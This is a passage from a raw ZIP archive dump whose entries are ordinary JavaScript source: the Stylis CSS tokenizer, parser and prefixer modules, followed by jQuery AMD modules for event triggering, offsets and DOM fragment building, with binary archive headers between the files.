				return replace(value, ':', ':' + WEBKIT) + value
			break
		// display: (flex|inline-flex|grid|inline-grid)
		case 6444:
			switch (charat(value, charat(value, 14) === 45 ? 18 : 11)) {
				// (inline-)?fle(x)
				case 120:
					return replace(value, /(.+:)([^;\s!]+)(;|(\s+)?!.+)?/, '$1' + WEBKIT + (charat(value, 14) === 45 ? 'inline-' : '') + 'box$3' + '$1' + WEBKIT + '$2$3' + '$1' + MS + '$2box$3') + value
				// (inline-)?gri(d)
				case 100:
					return replace(value, ':', ':' + MS) + value
			}
			break
		// scroll-margin, scroll-margin-(top|right|bottom|left)
		case 5719: case 2647: case 2135: case 3927: case 2391:
			return replace(value, 'scroll-', 'scroll-snap-') + value
	}

	return value
}
PK��\?̛[))
Middleware.jsnu�[���import {MS, MOZ, WEBKIT, RULESET, KEYFRAMES, DECLARATION} from './Enum.js'
import {match, charat, substr, strlen, sizeof, replace, combine} from './Utility.js'
import {copy, tokenize} from './Tokenizer.js'
import {serialize} from './Serializer.js'
import {prefix} from './Prefixer.js'

/**
 * @param {function[]} collection
 * @return {function}
 */
export function middleware (collection) {
	var length = sizeof(collection)

	return function (element, index, children, callback) {
		var output = ''

		for (var i = 0; i < length; i++)
			output += collection[i](element, index, children, callback) || ''

		return output
	}
}

/**
 * @param {function} callback
 * @return {function}
 */
export function rulesheet (callback) {
	return function (element) {
		if (!element.root)
			if (element = element.return)
				callback(element)
	}
}

/**
 * @param {object} element
 * @param {number} index
 * @param {object[]} children
 * @param {function} callback
 */
export function prefixer (element, index, children, callback) {
	if (element.length > -1)
		if (!element.return)
			switch (element.type) {
				case DECLARATION: element.return = prefix(element.value, element.length, children)
					return
				case KEYFRAMES:
					return serialize([copy(element, {value: replace(element.value, '@', '@' + WEBKIT)})], callback)
				case RULESET:
					if (element.length)
						return combine(element.props, function (value) {
							switch (match(value, /(::plac\w+|:read-\w+)/)) {
								// :read-(only|write)
								case ':read-only': case ':read-write':
									return serialize([copy(element, {props: [replace(value, /:(read-\w+)/, ':' + MOZ + '$1')]})], callback)
								// :placeholder
								case '::placeholder':
									return serialize([
										copy(element, {props: [replace(value, /:(plac\w+)/, ':' + WEBKIT + 'input-$1')]}),
										copy(element, {props: [replace(value, /:(plac\w+)/, ':' + MOZ + '$1')]}),
										copy(element, {props: [replace(value, /:(plac\w+)/, MS + 'input-$1')]})
									], callback)
							}

							return ''
						})
			}
}

/**
 * @param {object} element
 * @param {number} index
 * @param {object[]} children
 */
export function namespace (element) {
	switch (element.type) {
		case RULESET:
			element.props = element.props.map(function (value) {
				return combine(tokenize(value), function (value, index, children) {
					switch (charat(value, 0)) {
						// \f
						case 12:
							return substr(value, 1, strlen(value))
						// \0 ( + > ~
						case 0: case 40: case 43: case 62: case 126:
							return value
						// :
						case 58:
							if (children[++index] === 'global')
								children[index] = '', children[++index] = '\f' + substr(children[index], index = 1, -1)
						// \s
						case 32:
							return index === 1 ? '' : value
						default:
							switch (index) {
								case 0: element = value
									return sizeof(children) > 1 ? '' : value
								case index = sizeof(children) - 1: case 2:
									return index === 2 ? value + element + element : value + element
								default:
									return value
							}
					}
				})
			})
	}
}
PK��\�neooEnum.jsnu�[���export var MS = '-ms-'
export var MOZ = '-moz-'
export var WEBKIT = '-webkit-'

export var COMMENT = 'comm'
export var RULESET = 'rule'
export var DECLARATION = 'decl'

export var PAGE = '@page'
export var MEDIA = '@media'
export var IMPORT = '@import'
export var CHARSET = '@charset'
export var VIEWPORT = '@viewport'
export var SUPPORTS = '@supports'
export var DOCUMENT = '@document'
export var NAMESPACE = '@namespace'
export var KEYFRAMES = '@keyframes'
export var FONT_FACE = '@font-face'
export var COUNTER_STYLE = '@counter-style'
export var FONT_FEATURE_VALUES = '@font-feature-values'
export var LAYER = '@layer'
PK��\���ssTokenizer.jsnu�[���import {from, trim, charat, strlen, substr, append, assign} from './Utility.js'

export var line = 1
export var column = 1
export var length = 0
export var position = 0
export var character = 0
export var characters = ''

/**
 * @param {string} value
 * @param {object | null} root
 * @param {object | null} parent
 * @param {string} type
 * @param {string[] | string} props
 * @param {object[] | string} children
 * @param {number} length
 */
export function node (value, root, parent, type, props, children, length) {
	return {value: value, root: root, parent: parent, type: type, props: props, children: children, line: line, column: column, length: length, return: ''}
}

/**
 * @param {object} root
 * @param {object} props
 * @return {object}
 */
export function copy (root, props) {
	return assign(node('', null, null, '', null, null, 0), root, {length: -root.length}, props)
}

/**
 * @return {number}
 */
export function char () {
	return character
}

/**
 * @return {number}
 */
export function prev () {
	character = position > 0 ? charat(characters, --position) : 0

	if (column--, character === 10)
		column = 1, line--

	return character
}

/**
 * @return {number}
 */
export function next () {
	character = position < length ? charat(characters, position++) : 0

	if (column++, character === 10)
		column = 1, line++

	return character
}

/**
 * @return {number}
 */
export function peek () {
	return charat(characters, position)
}

/**
 * @return {number}
 */
export function caret () {
	return position
}

/**
 * @param {number} begin
 * @param {number} end
 * @return {string}
 */
export function slice (begin, end) {
	return substr(characters, begin, end)
}

/**
 * @param {number} type
 * @return {number}
 */
export function token (type) {
	switch (type) {
		// \0 \t \n \r \s whitespace token
		case 0: case 9: case 10: case 13: case 32:
			return 5
		// ! + , / > @ ~ isolate token
		case 33: case 43: case 44: case 47: case 62: case 64: case 126:
		// ; { } breakpoint token
		case 59: case 123: case 125:
			return 4
		// : accompanied token
		case 58:
			return 3
		// " ' ( [ opening delimit token
		case 34: case 39: case 40: case 91:
			return 2
		// ) ] closing delimit token
		case 41: case 93:
			return 1
	}

	return 0
}

/**
 * @param {string} value
 * @return {any[]}
 */
export function alloc (value) {
	return line = column = 1, length = strlen(characters = value), position = 0, []
}

/**
 * @param {any} value
 * @return {any}
 */
export function dealloc (value) {
	return characters = '', value
}

/**
 * @param {number} type
 * @return {string}
 */
export function delimit (type) {
	return trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type)))
}

/**
 * @param {string} value
 * @return {string[]}
 */
export function tokenize (value) {
	return dealloc(tokenizer(alloc(value)))
}

/**
 * @param {number} type
 * @return {string}
 */
export function whitespace (type) {
	while (character = peek())
		if (character < 33)
			next()
		else
			break

	return token(type) > 2 || token(character) > 3 ? '' : ' '
}

/**
 * @param {string[]} children
 * @return {string[]}
 */
export function tokenizer (children) {
	while (next())
		switch (token(character)) {
			case 0: append(identifier(position - 1), children)
				break
			case 2: append(delimit(character), children)
				break
			default: append(from(character), children)
		}

	return children
}

/**
 * @param {number} index
 * @param {number} count
 * @return {string}
 */
export function escaping (index, count) {
	while (--count && next())
		// not 0-9 A-F a-f
		if (character < 48 || character > 102 || (character > 57 && character < 65) || (character > 70 && character < 97))
			break

	return slice(index, caret() + (count < 6 && peek() == 32 && next() == 32))
}

/**
 * @param {number} type
 * @return {number}
 */
export function delimiter (type) {
	while (next())
		switch (character) {
			// ] ) " '
			case type:
				return position
			// " '
			case 34: case 39:
				if (type !== 34 && type !== 39)
					delimiter(character)
				break
			// (
			case 40:
				if (type === 41)
					delimiter(type)
				break
			// \
			case 92:
				next()
				break
		}

	return position
}

/**
 * @param {number} type
 * @param {number} index
 * @return {number}
 */
export function commenter (type, index) {
	while (next())
		// //
		if (type + character === 47 + 10)
			break
		// /*
		else if (type + character === 42 + 42 && peek() === 47)
			break

	return '/*' + slice(index, position - 1) + '*' + from(type === 47 ? type : next())
}

/**
 * @param {number} index
 * @return {string}
 */
export function identifier (index) {
	while (!token(peek()))
		next()

	return slice(index, position)
}
PK��\����VV	Parser.jsnu�[���import {COMMENT, RULESET, DECLARATION} from './Enum.js'
import {abs, charat, trim, from, sizeof, strlen, substr, append, replace, indexof} from './Utility.js'
import {node, char, prev, next, peek, caret, alloc, dealloc, delimit, whitespace, escaping, identifier, commenter} from './Tokenizer.js'

/**
 * @param {string} value
 * @return {object[]}
 */
export function compile (value) {
	return dealloc(parse('', null, null, null, [''], value = alloc(value), 0, [0], value))
}

/**
 * @param {string} value
 * @param {object} root
 * @param {object?} parent
 * @param {string[]} rule
 * @param {string[]} rules
 * @param {string[]} rulesets
 * @param {number[]} pseudo
 * @param {number[]} points
 * @param {string[]} declarations
 * @return {object}
 */
export function parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) {
	var index = 0
	var offset = 0
	var length = pseudo
	var atrule = 0
	var property = 0
	var previous = 0
	var variable = 1
	var scanning = 1
	var ampersand = 1
	var character = 0
	var type = ''
	var props = rules
	var children = rulesets
	var reference = rule
	var characters = type

	while (scanning)
		switch (previous = character, character = next()) {
			// (
			case 40:
				if (previous != 108 && charat(characters, length - 1) == 58) {
					if (indexof(characters += replace(delimit(character), '&', '&\f'), '&\f') != -1)
						ampersand = -1
					break
				}
			// " ' [
			case 34: case 39: case 91:
				characters += delimit(character)
				break
			// \t \n \r \s
			case 9: case 10: case 13: case 32:
				characters += whitespace(previous)
				break
			// \
			case 92:
				characters += escaping(caret() - 1, 7)
				continue
			// /
			case 47:
				switch (peek()) {
					case 42: case 47:
						append(comment(commenter(next(), caret()), root, parent), declarations)
						break
					default:
						characters += '/'
				}
				break
			// {
			case 123 * variable:
				points[index++] = strlen(characters) * ampersand
			// } ; \0
			case 125 * variable: case 59: case 0:
				switch (character) {
					// \0 }
					case 0: case 125: scanning = 0
					// ;
					case 59 + offset: if (ampersand == -1) characters = replace(characters, /\f/g, '')
						if (property > 0 && (strlen(characters) - length))
							append(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations)
						break
					// @ ;
					case 59: characters += ';'
					// { rule/at-rule
					default:
						append(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets)

						if (character === 123)
							if (offset === 0)
								parse(characters, root, reference, reference, props, rulesets, length, points, children)
							else
								switch (atrule === 99 && charat(characters, 3) === 110 ? 100 : atrule) {
									// d l m s
									case 100: case 108: case 109: case 115:
										parse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children)
										break
									default:
										parse(characters, reference, reference, reference, [''], children, 0, points, children)
								}
				}

				index = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo
				break
			// :
			case 58:
				length = 1 + strlen(characters), property = previous
			default:
				if (variable < 1)
					if (character == 123)
						--variable
					else if (character == 125 && variable++ == 0 && prev() == 125)
						continue

				switch (characters += from(character), character * variable) {
					// &
					case 38:
						ampersand = offset > 0 ? 1 : (characters += '\f', -1)
						break
					// ,
					case 44:
						points[index++] = (strlen(characters) - 1) * ampersand, ampersand = 1
						break
					// @
					case 64:
						// -
						if (peek() === 45)
							characters += delimit(next())

						atrule = peek(), offset = length = strlen(type = characters += identifier(caret())), character++
						break
					// -
					case 45:
						if (previous === 45 && strlen(characters) == 2)
							variable = 0
				}
		}

	return rulesets
}

/**
 * @param {string} value
 * @param {object} root
 * @param {object?} parent
 * @param {number} index
 * @param {number} offset
 * @param {string[]} rules
 * @param {number[]} points
 * @param {string} type
 * @param {string[]} props
 * @param {string[]} children
 * @param {number} length
 * @return {object}
 */
export function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) {
	var post = offset - 1
	var rule = offset === 0 ? rules : ['']
	var size = sizeof(rule)

	for (var i = 0, j = 0, k = 0; i < index; ++i)
		for (var x = 0, y = substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x)
			if (z = trim(j > 0 ? rule[x] + ' ' + y : replace(y, /&\f/g, rule[x])))
				props[k++] = z

	return node(value, root, parent, offset === 0 ? RULESET : type, props, children, length)
}

/**
 * @param {number} value
 * @param {object} root
 * @param {object?} parent
 * @return {object}
 */
export function comment (value, root, parent) {
	return node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0)
}

/**
 * @param {string} value
 * @param {object} root
 * @param {object?} parent
 * @param {number} length
 * @return {object}
 */
export function declaration (value, root, parent, length) {
	return node(value, root, parent, DECLARATION, substr(value, 0, length), substr(value, length + 1, -1), length)
}
PK��\�p�
Utility.jsnu�[���/**
 * @param {number}
 * @return {number}
 */
export var abs = Math.abs

/**
 * @param {number}
 * @return {string}
 */
export var from = String.fromCharCode

/**
 * @param {object}
 * @return {object}
 */
export var assign = Object.assign

/**
 * @param {string} value
 * @param {number} length
 * @return {number}
 */
export function hash (value, length) {
	return charat(value, 0) ^ 45 ? (((((((length << 2) ^ charat(value, 0)) << 2) ^ charat(value, 1)) << 2) ^ charat(value, 2)) << 2) ^ charat(value, 3) : 0
}

/**
 * @param {string} value
 * @return {string}
 */
export function trim (value) {
	return value.trim()
}

/**
 * @param {string} value
 * @param {RegExp} pattern
 * @return {string?}
 */
export function match (value, pattern) {
	return (value = pattern.exec(value)) ? value[0] : value
}

/**
 * @param {string} value
 * @param {(string|RegExp)} pattern
 * @param {string} replacement
 * @return {string}
 */
export function replace (value, pattern, replacement) {
	return value.replace(pattern, replacement)
}

/**
 * @param {string} value
 * @param {string} search
 * @return {number}
 */
export function indexof (value, search) {
	return value.indexOf(search)
}

/**
 * @param {string} value
 * @param {number} index
 * @return {number}
 */
export function charat (value, index) {
	return value.charCodeAt(index) | 0
}

/**
 * @param {string} value
 * @param {number} begin
 * @param {number} end
 * @return {string}
 */
export function substr (value, begin, end) {
	return value.slice(begin, end)
}

/**
 * @param {string} value
 * @return {number}
 */
export function strlen (value) {
	return value.length
}

/**
 * @param {any[]} value
 * @return {number}
 */
export function sizeof (value) {
	return value.length
}

/**
 * @param {any} value
 * @param {any[]} array
 * @return {any}
 */
export function append (value, array) {
	return array.push(value), value
}

/**
 * @param {string[]} array
 * @param {function} callback
 * @return {string}
 */
export function combine (array, callback) {
	return array.map(callback).join('')
}
PKg��\��+��event/support.jsnu�[���define( [
	"../var/support"
], function( support ) {

"use strict";

support.focusin = "onfocusin" in window;

return support;

} );
PKg��\���pp
event/ajax.jsnu�[���define( [
	"../core",
	"../event"
], function( jQuery ) {

"use strict";

// Attach a bunch of functions for handling common AJAX events
jQuery.each( [
	"ajaxStart",
	"ajaxStop",
	"ajaxComplete",
	"ajaxError",
	"ajaxSuccess",
	"ajaxSend"
], function( i, type ) {
	jQuery.fn[ type ] = function( fn ) {
		return this.on( type, fn );
	};
} );

} );
PKg��\������event/trigger.jsnu�[���define( [
	"../core",
	"../var/document",
	"../data/var/dataPriv",
	"../data/var/acceptData",
	"../var/hasOwn",
	"../var/isFunction",
	"../var/isWindow",
	"../event"
], function( jQuery, document, dataPriv, acceptData, hasOwn, isFunction, isWindow ) {

"use strict";

var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
	stopPropagationCallback = function( e ) {
		e.stopPropagation();
	};

jQuery.extend( jQuery.event, {

	trigger: function( event, data, elem, onlyHandlers ) {

		var i, cur, tmp, bubbleType, ontype, handle, special, lastElement,
			eventPath = [ elem || document ],
			type = hasOwn.call( event, "type" ) ? event.type : event,
			namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];

		cur = lastElement = tmp = elem = elem || document;

		// Don't do events on text and comment nodes
		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
			return;
		}

		// focus/blur morphs to focusin/out; ensure we're not firing them right now
		if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
			return;
		}

		if ( type.indexOf( "." ) > -1 ) {

			// Namespaced trigger; create a regexp to match event type in handle()
			namespaces = type.split( "." );
			type = namespaces.shift();
			namespaces.sort();
		}
		ontype = type.indexOf( ":" ) < 0 && "on" + type;

		// Caller can pass in a jQuery.Event object, Object, or just an event type string
		event = event[ jQuery.expando ] ?
			event :
			new jQuery.Event( type, typeof event === "object" && event );

		// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
		event.isTrigger = onlyHandlers ? 2 : 3;
		event.namespace = namespaces.join( "." );
		event.rnamespace = event.namespace ?
			new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
			null;

		// Clean up the event in case it is being reused
		event.result = undefined;
		if ( !event.target ) {
			event.target = elem;
		}

		// Clone any incoming data and prepend the event, creating the handler arg list
		data = data == null ?
			[ event ] :
			jQuery.makeArray( data, [ event ] );

		// Allow special events to draw outside the lines
		special = jQuery.event.special[ type ] || {};
		if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
			return;
		}

		// Determine event propagation path in advance, per W3C events spec (#9951)
		// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
		if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {

			bubbleType = special.delegateType || type;
			if ( !rfocusMorph.test( bubbleType + type ) ) {
				cur = cur.parentNode;
			}
			for ( ; cur; cur = cur.parentNode ) {
				eventPath.push( cur );
				tmp = cur;
			}

			// Only add window if we got to document (e.g., not plain obj or detached DOM)
			if ( tmp === ( elem.ownerDocument || document ) ) {
				eventPath.push( tmp.defaultView || tmp.parentWindow || window );
			}
		}

		// Fire handlers on the event path
		i = 0;
		while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
			lastElement = cur;
			event.type = i > 1 ?
				bubbleType :
				special.bindType || type;

			// jQuery handler
			handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] &&
				dataPriv.get( cur, "handle" );
			if ( handle ) {
				handle.apply( cur, data );
			}

			// Native handler
			handle = ontype && cur[ ontype ];
			if ( handle && handle.apply && acceptData( cur ) ) {
				event.result = handle.apply( cur, data );
				if ( event.result === false ) {
					event.preventDefault();
				}
			}
		}
		event.type = type;

		// If nobody prevented the default action, do it now
		if ( !onlyHandlers && !event.isDefaultPrevented() ) {

			if ( ( !special._default ||
				special._default.apply( eventPath.pop(), data ) === false ) &&
				acceptData( elem ) ) {

				// Call a native DOM method on the target with the same name as the event.
				// Don't do default actions on window, that's where global variables be (#6170)
				if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {

					// Don't re-trigger an onFOO event when we call its FOO() method
					tmp = elem[ ontype ];

					if ( tmp ) {
						elem[ ontype ] = null;
					}

					// Prevent re-triggering of the same event, since we already bubbled it above
					jQuery.event.triggered = type;

					if ( event.isPropagationStopped() ) {
						lastElement.addEventListener( type, stopPropagationCallback );
					}

					elem[ type ]();

					if ( event.isPropagationStopped() ) {
						lastElement.removeEventListener( type, stopPropagationCallback );
					}

					jQuery.event.triggered = undefined;

					if ( tmp ) {
						elem[ ontype ] = tmp;
					}
				}
			}
		}

		return event.result;
	},

	// Piggyback on a donor event to simulate a different one
	// Used only for `focus(in | out)` events
	simulate: function( type, elem, event ) {
		var e = jQuery.extend(
			new jQuery.Event(),
			event,
			{
				type: type,
				isSimulated: true
			}
		);

		jQuery.event.trigger( e, null, elem );
	}

} );

jQuery.fn.extend( {

	trigger: function( type, data ) {
		return this.each( function() {
			jQuery.event.trigger( type, data, this );
		} );
	},
	triggerHandler: function( type, data ) {
		var elem = this[ 0 ];
		if ( elem ) {
			return jQuery.event.trigger( type, data, elem, true );
		}
	}
} );

return jQuery;
} );
PKg��\��#��event/alias.jsnu�[���define( [
	"../core",

	"../event",
	"./trigger"
], function( jQuery ) {

"use strict";

jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " +
	"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
	"change select submit keydown keypress keyup contextmenu" ).split( " " ),
	function( i, name ) {

	// Handle event binding
	jQuery.fn[ name ] = function( data, fn ) {
		return arguments.length > 0 ?
			this.on( name, null, data, fn ) :
			this.trigger( name );
	};
} );

jQuery.fn.extend( {
	hover: function( fnOver, fnOut ) {
		return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
	}
} );

} );
PKg��\"}"�event/focusin.jsnu�[���define( [
	"../core",
	"../data/var/dataPriv",
	"./support",

	"../event",
	"./trigger"
], function( jQuery, dataPriv, support ) {

"use strict";

// Support: Firefox <=44
// Firefox doesn't have focus(in | out) events
// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
//
// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1
// focus(in | out) events fire after focus & blur events,
// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857
if ( !support.focusin ) {
	jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) {

		// Attach a single capturing handler on the document while someone wants focusin/focusout
		var handler = function( event ) {
			jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );
		};

		jQuery.event.special[ fix ] = {
			setup: function() {
				var doc = this.ownerDocument || this,
					attaches = dataPriv.access( doc, fix );

				if ( !attaches ) {
					doc.addEventListener( orig, handler, true );
				}
				dataPriv.access( doc, fix, ( attaches || 0 ) + 1 );
			},
			teardown: function() {
				var doc = this.ownerDocument || this,
					attaches = dataPriv.access( doc, fix ) - 1;

				if ( !attaches ) {
					doc.removeEventListener( orig, handler, true );
					dataPriv.remove( doc, fix );

				} else {
					dataPriv.access( doc, fix, attaches );
				}
			}
		};
	} );
}

return jQuery;
} );
PKg��\�.�f��	offset.jsnu�[���define( [
	"./core",
	"./core/access",
	"./var/document",
	"./var/documentElement",
	"./var/isFunction",
	"./css/var/rnumnonpx",
	"./css/curCSS",
	"./css/addGetHookIf",
	"./css/support",
	"./var/isWindow",
	"./core/init",
	"./css",
	"./selector" // contains
], function( jQuery, access, document, documentElement, isFunction, rnumnonpx,
             curCSS, addGetHookIf, support, isWindow ) {

"use strict";

jQuery.offset = {
	setOffset: function( elem, options, i ) {
		var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
			position = jQuery.css( elem, "position" ),
			curElem = jQuery( elem ),
			props = {};

		// Set position first, in-case top/left are set even on static elem
		if ( position === "static" ) {
			elem.style.position = "relative";
		}

		curOffset = curElem.offset();
		curCSSTop = jQuery.css( elem, "top" );
		curCSSLeft = jQuery.css( elem, "left" );
		calculatePosition = ( position === "absolute" || position === "fixed" ) &&
			( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1;

		// Need to be able to calculate position if either
		// top or left is auto and position is either absolute or fixed
		if ( calculatePosition ) {
			curPosition = curElem.position();
			curTop = curPosition.top;
			curLeft = curPosition.left;

		} else {
			curTop = parseFloat( curCSSTop ) || 0;
			curLeft = parseFloat( curCSSLeft ) || 0;
		}

		if ( isFunction( options ) ) {

			// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)
			options = options.call( elem, i, jQuery.extend( {}, curOffset ) );
		}

		if ( options.top != null ) {
			props.top = ( options.top - curOffset.top ) + curTop;
		}
		if ( options.left != null ) {
			props.left = ( options.left - curOffset.left ) + curLeft;
		}

		if ( "using" in options ) {
			options.using.call( elem, props );

		} else {
			curElem.css( props );
		}
	}
};

jQuery.fn.extend( {

	// offset() relates an element's border box to the document origin
	offset: function( options ) {

		// Preserve chaining for setter
		if ( arguments.length ) {
			return options === undefined ?
				this :
				this.each( function( i ) {
					jQuery.offset.setOffset( this, options, i );
				} );
		}

		var rect, win,
			elem = this[ 0 ];

		if ( !elem ) {
			return;
		}

		// Return zeros for disconnected and hidden (display: none) elements (gh-2310)
		// Support: IE <=11 only
		// Running getBoundingClientRect on a
		// disconnected node in IE throws an error
		if ( !elem.getClientRects().length ) {
			return { top: 0, left: 0 };
		}

		// Get document-relative position by adding viewport scroll to viewport-relative gBCR
		rect = elem.getBoundingClientRect();
		win = elem.ownerDocument.defaultView;
		return {
			top: rect.top + win.pageYOffset,
			left: rect.left + win.pageXOffset
		};
	},

	// position() relates an element's margin box to its offset parent's padding box
	// This corresponds to the behavior of CSS absolute positioning
	position: function() {
		if ( !this[ 0 ] ) {
			return;
		}

		var offsetParent, offset, doc,
			elem = this[ 0 ],
			parentOffset = { top: 0, left: 0 };

		// position:fixed elements are offset from the viewport, which itself always has zero offset
		if ( jQuery.css( elem, "position" ) === "fixed" ) {

			// Assume position:fixed implies availability of getBoundingClientRect
			offset = elem.getBoundingClientRect();

		} else {
			offset = this.offset();

			// Account for the *real* offset parent, which can be the document or its root element
			// when a statically positioned element is identified
			doc = elem.ownerDocument;
			offsetParent = elem.offsetParent || doc.documentElement;
			while ( offsetParent &&
				( offsetParent === doc.body || offsetParent === doc.documentElement ) &&
				jQuery.css( offsetParent, "position" ) === "static" ) {

				offsetParent = offsetParent.parentNode;
			}
			if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {

				// Incorporate borders into its offset, since they are outside its content origin
				parentOffset = jQuery( offsetParent ).offset();
				parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true );
				parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true );
			}
		}

		// Subtract parent offsets and element margins
		return {
			top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
			left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
		};
	},

	// This method will return documentElement in the following cases:
	// 1) For the element inside the iframe without offsetParent, this method will return
	//    documentElement of the parent window
	// 2) For the hidden or detached element
	// 3) For body or html element, i.e. in case of the html node - it will return itself
	//
	// but those exceptions were never presented as a real life use-cases
	// and might be considered as more preferable results.
	//
	// This logic, however, is not guaranteed and can change at any point in the future
	offsetParent: function() {
		return this.map( function() {
			var offsetParent = this.offsetParent;

			while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) {
				offsetParent = offsetParent.offsetParent;
			}

			return offsetParent || documentElement;
		} );
	}
} );

// Create scrollLeft and scrollTop methods
jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
	var top = "pageYOffset" === prop;

	jQuery.fn[ method ] = function( val ) {
		return access( this, function( elem, method, val ) {

			// Coalesce documents and windows
			var win;
			if ( isWindow( elem ) ) {
				win = elem;
			} else if ( elem.nodeType === 9 ) {
				win = elem.defaultView;
			}

			if ( val === undefined ) {
				return win ? win[ prop ] : elem[ method ];
			}

			if ( win ) {
				win.scrollTo(
					!top ? val : win.pageXOffset,
					top ? val : win.pageYOffset
				);

			} else {
				elem[ method ] = val;
			}
		}, method, val, arguments.length );
	};
} );

// Support: Safari <=7 - 9.1, Chrome <=37 - 49
// Add the top/left cssHooks using jQuery.fn.position
// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
// getComputedStyle returns percent when specified for top/left/bottom/right;
// rather than make the css module depend on the offset module, just check for it here
jQuery.each( [ "top", "left" ], function( i, prop ) {
	jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
		function( elem, computed ) {
			if ( computed ) {
				computed = curCSS( elem, prop );

				// If curCSS returns percentage, fallback to offset
				return rnumnonpx.test( computed ) ?
					jQuery( elem ).position()[ prop ] + "px" :
					computed;
			}
		}
	);
} );

return jQuery;
} );
PKg��\Ռ-c--manipulation/support.jsnu�[���define( [
	"../var/document",
	"../var/support"
], function( document, support ) {

"use strict";

( function() {
	var fragment = document.createDocumentFragment(),
		div = fragment.appendChild( document.createElement( "div" ) ),
		input = document.createElement( "input" );

	// Support: Android 4.0 - 4.3 only
	// Check state lost if the name is set (#11217)
	// Support: Windows Web Apps (WWA)
	// `name` and `type` must use .setAttribute for WWA (#14901)
	input.setAttribute( "type", "radio" );
	input.setAttribute( "checked", "checked" );
	input.setAttribute( "name", "t" );

	div.appendChild( input );

	// Support: Android <=4.1 only
	// Older WebKit doesn't clone checked state correctly in fragments
	support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;

	// Support: IE <=11 only
	// Make sure textarea (and checkbox) defaultValue is properly cloned
	div.innerHTML = "<textarea>x</textarea>";
	support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
} )();

return support;

} );
PKg��\+���{{manipulation/_evalUrl.jsnu�[���define( [
	"../ajax"
], function( jQuery ) {

"use strict";

jQuery._evalUrl = function( url ) {
	return jQuery.ajax( {
		url: url,

		// Make this explicit, since user can override this through ajaxSetup (#11264)
		type: "GET",
		dataType: "script",
		cache: true,
		async: false,
		global: false,
		"throws": true
	} );
};

return jQuery._evalUrl;

} );
PKg��\P

manipulation/buildFragment.jsnu�[���define( [
	"../core",
	"../core/toType",
	"./var/rtagName",
	"./var/rscriptType",
	"./wrapMap",
	"./getAll",
	"./setGlobalEval"
], function( jQuery, toType, rtagName, rscriptType, wrapMap, getAll, setGlobalEval ) {

"use strict";

var rhtml = /<|&#?\w+;/;

function buildFragment( elems, context, scripts, selection, ignored ) {
	var elem, tmp, tag, wrap, contains, j,
		fragment = context.createDocumentFragment(),
		nodes = [],
		i = 0,
		l = elems.length;

	for ( ; i < l; i++ ) {
		elem = elems[ i ];

		if ( elem || elem === 0 ) {

			// Add nodes directly
			if ( toType( elem ) === "object" ) {

				// Support: Android <=4.0 only, PhantomJS 1 only
				// push.apply(_, arraylike) throws on ancient WebKit
				jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );

			// Convert non-html into a text node
			} else if ( !rhtml.test( elem ) ) {
				nodes.push( context.createTextNode( elem ) );

			// Convert html into DOM nodes
			} else {
				tmp = tmp || fragment.appendChild( context.createElement( "div" ) );

				// Deserialize a standard representation
				tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
				wrap = wrapMap[ tag ] || wrapMap._default;
				tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

				// Descend through wrappers to the right content
				j = wrap[ 0 ];
				while ( j-- ) {
					tmp = tmp.lastChild;
				}

				// Support: Android <=4.0 only, PhantomJS 1 only
				// push.apply(_, arraylike) throws on ancient WebKit
				jQuery.merge( nodes, tmp.childNodes );

				// Remember the top-level container
				tmp = fragment.firstChild;

				// Ensure the created nodes are orphaned (#12392)
				tmp.textContent = "";
			}
		}
	}

	// Remove wrapper from fragment
	fragment.textContent = "";

